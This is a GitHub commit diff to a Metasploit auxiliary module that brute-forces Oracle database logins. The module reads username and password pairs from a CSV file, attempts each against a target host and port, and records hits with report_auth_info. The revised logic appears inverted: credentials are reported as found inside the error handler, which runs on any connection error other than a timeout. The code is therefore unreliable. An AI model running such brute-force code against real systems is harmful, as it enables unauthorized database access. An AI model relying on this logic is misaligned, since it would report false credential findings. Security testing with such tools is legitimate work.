Skip to content

Commit 4c93cbc

Browse files
committed
changes based on feedback, added timeout error message
1 parent 67efa76 commit 4c93cbc

File tree

1 file changed

+12
-11
lines changed

1 file changed

+12
-11
lines changed

modules/auxiliary/admin/oracle/oracle_login.rb

Lines changed: 12 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -44,16 +44,17 @@ def run
4444
print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")
4545

4646
fd = CSV.foreach(list) do |brute|
47+
datastore['DBUSER'] = brute[2].downcase
48+
datastore['DBPASS'] = brute[3].downcase
4749

48-
datastore['DBUSER'] = brute[2].downcase
49-
datastore['DBPASS'] = brute[3].downcase
50-
51-
begin
52-
connect
53-
disconnect
54-
rescue ::OCIError => e
55-
break if e.to_s =~ /^ORA-12170:\s/
56-
unless e
50+
begin
51+
connect
52+
disconnect
53+
rescue ::OCIError => e
54+
if e.to_s =~ /^ORA-12170:\s/
55+
print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")
56+
break
57+
else
5758
report_auth_info(
5859
:host => "#{datastore['RHOST']}",
5960
:port => "#{datastore['RPORT']}",
@@ -63,8 +64,8 @@ def run
6364
:active => true
6465
)
6566
print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")
67+
end
6668
end
6769
end
68-
end
6970
end
70-
end
71+
end #class

0 commit comments

Comments
 (0)